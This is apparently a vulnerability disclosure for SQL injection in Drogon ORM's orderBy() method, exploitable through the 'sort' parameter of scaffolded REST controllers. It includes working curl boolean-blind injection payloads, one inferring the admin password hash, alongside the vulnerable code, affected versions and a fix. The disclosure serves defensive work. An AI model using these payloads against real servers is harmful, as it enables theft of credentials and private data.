[Security]SQL Injection in Drogon ORM - orderBy() Method

[2H-K]

SQL Injection in Drogon ORM - orderBy() Method

Note:

• All PoC examples use localhost:8200 as a demonstration endpoint. Replace with your actual server address.
• Response examples below are based on a test database with 8 users. Your actual responses will differ based on your data.

Test Data Schema (for reference)

The PoC examples assume a users table with the following structure:

CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    salary DECIMAL(10,2)
);

-- Sample data (8 users)
INSERT INTO users (username, password_hash, salary) VALUES
('admin', '$2a$10$abc123...', 95000.00),
('zhangsan', '$2a$10$def456...', 75000.00),
('lisi', '$2a$10$ghi789...', 68000.00),
('wangwu', '$2a$10$jkl012...', 72000.00),
('zhaoliu', '$2a$10$mno345...', 65000.00),
('sunqi', '$2a$10$pqr678...', 70000.00),
('zhouba', '$2a$10$stu901...', 63000.00),
('wujiu', '$2a$10$vwx234...', 67000.00);

Summary

SQL injection vulnerability exists in the drogon::orm::Mapper::orderBy() method, allowing attackers to inject arbitrary SQL into ORDER BY clauses when using generated RESTful controllers.

Vulnerability Details

Affected Component

• File: orm_lib/inc/drogon/orm/Mapper.h
• Method: Mapper<T>::orderBy(const std::string &colName, const SortOrder &order)
• Line: 1986

Vulnerable Code

1980: inline Mapper<T> &Mapper<T>::orderBy(const std::string &colName,
1981:                                      const SortOrder &order)
1982: {
1983:     if (orderByString_.empty())
1984:     {
1985:         orderByString_ =
1986:             utils::formattedString(" order by %s", colName.c_str());
1987:         if (order == SortOrder::DESC)
1988:         {
1989:             orderByString_ += " desc";
1990:         }
1991:     }

The Problem: The colName parameter is directly interpolated into the SQL ORDER BY clause using formattedString() (a sprintf-like function) with zero validation for:

• SQL injection characters
• SQL syntax
• Column name validity
• Special operators that could modify query behavior

Exploitation Path

1. Source: drogon_ctl generates RESTful controllers with a sort query parameter handler
2. Template: drogon_ctl/templates/restful_controller_base_cc.csp:243-264
   • Accepts sort from HTTP query parameters
   • Passes directly to mapper.orderBy(field, SortOrder::ASC/DESC)
   • No validation or sanitization of the sort value
3. Sink: Mapper.h:1986 - Direct concatenation into SQL

// restful_controller_base_cc.csp:243-264
auto iter = parameters.find("sort");
if(iter != parameters.end())
{
    auto sortFields = drogon::utils::splitString(iter->second, ",");
    for(auto &field : sortFields)
    {
        if(field[0] == '+')
        {
            field = field.substr(1);
            mapper.orderBy(field, SortOrder::ASC);  // RAW VALUE PASSED
        }
        else if(field[0] == '-')
        {
            field = field.substr(1);
            mapper.orderBy(field, SortOrder::DESC); // RAW VALUE PASSED
        }
        else
        {
            mapper.orderBy(field, SortOrder::ASC);  // RAW VALUE PASSED
        }
    }
}

Bypass Defense Mechanism

A defense function isValidSqlIdentifier() exists in orm_lib/inc/drogon/orm/BaseBuilder.h:116-131 that restricts characters to [a-zA-Z0-9_.]. However, this function is NOT called in the analyzed execution path for orderBy(). It is only used in JOIN methods wrapped in assert() (removed in release builds via NDEBUG).

Impact

Confidentiality: HIGH - Data extraction via Boolean-based SQL Injection

Attackers can extract sensitive data accessible to the database user through boolean-based inference in the ORDER BY clause:

# Verify admin password hash first character
curl "http://localhost:8200/users?sort=(CASE%20WHEN%20(SELECT%20SUBSTRING(password_hash,1,1)%20FROM%20users%20WHERE%20username=%27admin%27)=%27a%27%20THEN%20id::text%20ELSE%20username%20END)"

• Normal query: Records sorted by username alphabetically
• Injected query with matching condition: Records sorted by id numerically (1,2,3,4,5,6,7,8)

This allows boolean-based inference of database contents through observable differences in query result ordering, subject to PostgreSQL expression constraints and the application's observable response behavior.

Proof of Concept

1. Normal sorting returns 8 records sorted by username:

curl "http://localhost:8200/users?sort=username"
# Returns: 8 users ordered alphabetically (admin,lisi,sunqi,...)

2. Injected sorting (CASE WHEN 1=1 returns id order):

curl "http://localhost:8200/users?sort=(CASE%20WHEN%201=1%20THEN%20id%20ELSE%20username%20END)"
# Returns: 8 users ordered by id (1,2,3,4,5,6,7,8)

3. Exploited sorting (case when 1=0 returns alternative order or bypasses WHERE):

curl "http://localhost:8200/users?sort=(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20users)%20>0%20THEN%20id%20ELSE%20name%20END)"
# Can extract ANY data by observing sort order behavior

Exploitation Constraints

Technique	Status	Reason
CASE WHEN boolean blind injection	Success	Query returns different data orders based on payload
Stacked queries 1;DROP TABLE	Blocked	PostgreSQL prepared statement mechanism prevents
UNION injection	Blocked	ORDER BY clause syntax restrictions
Time-based pg_sleep	Blocked	pg_sleep returns void, cannot be used with CASE WHEN

However, boolean blind injection through ORDER BY is sufficient for extracting sensitive data accessible to the database user, subject to PostgreSQL expression constraints and application response observability.

Recommendation

Immediate Fix:

Add column name validation before SQL construction:

inline Mapper<T> &Mapper<T>::orderBy(const std::string &colName,
                                     const SortOrder &order)
{
    if (!isValidSqlIdentifier(colName))  // Existing validation function
        throw std::runtime_error("Invalid sort column: " + colName);
    
    if (orderByString_.empty())
    {
        orderByString_ =
            utils::formattedString(" order by %s", colName.c_str());
        if (order == SortOrder::DESC)
        {
            orderByString_ += " desc";
        }
    }
    // ... rest of method
}

Long-term Solutions:

1. Use parameterized binding for ORDER BY where possible (limited by SQL standard)
2. Validate all identifier inputs across ORM layer using isValidSqlIdentifier()
3. Add optional whitelisting mechanism for allowed sort columns per model

Affected Versions

• Introduced: v1.0.0-beta8 (when the vulnerable pattern was introduced by commit 70eda27 on 2019-09-30)
  • Git verification: git tag --contains 70eda274 includes v1.0.0, beta8, beta9, beta10 and all later releases
• Affects: v1.0.0-beta8 ~ v1.0.0-beta21 through v1.9.13; later versions should be considered affected until a fix is confirmed
• Status: UNFIXED as of 2026-08-31

Additional Context

This vulnerability is exposed by the default drogon_ctl scaffold for RESTful APIs, which generates controllers with:

• No authentication filters by default
• Untrusted sort query parameter endpoint
• Flag in model.json: "restful_api_controllers.enabled": true

Educational developers who enable REST scaffolding for API development will have exposed unauthenticated SQL injection endpoints without requiring additional configuration.

---

References:

• Source: https://github.com/drogonframework/drogon/blob/v1.9.13/orm_lib/inc/drogon/orm/Mapper.h#L1980-L2002
• Template: https://github.com/drogonframework/drogon/blob/v1.9.13/drogon_ctl/templates/restful_controller_base_cc.csp#L243-L264
• CWE-89: https://cwe.mitre.org/data/definitions/89.html (Improper Neutralization of Special Elements)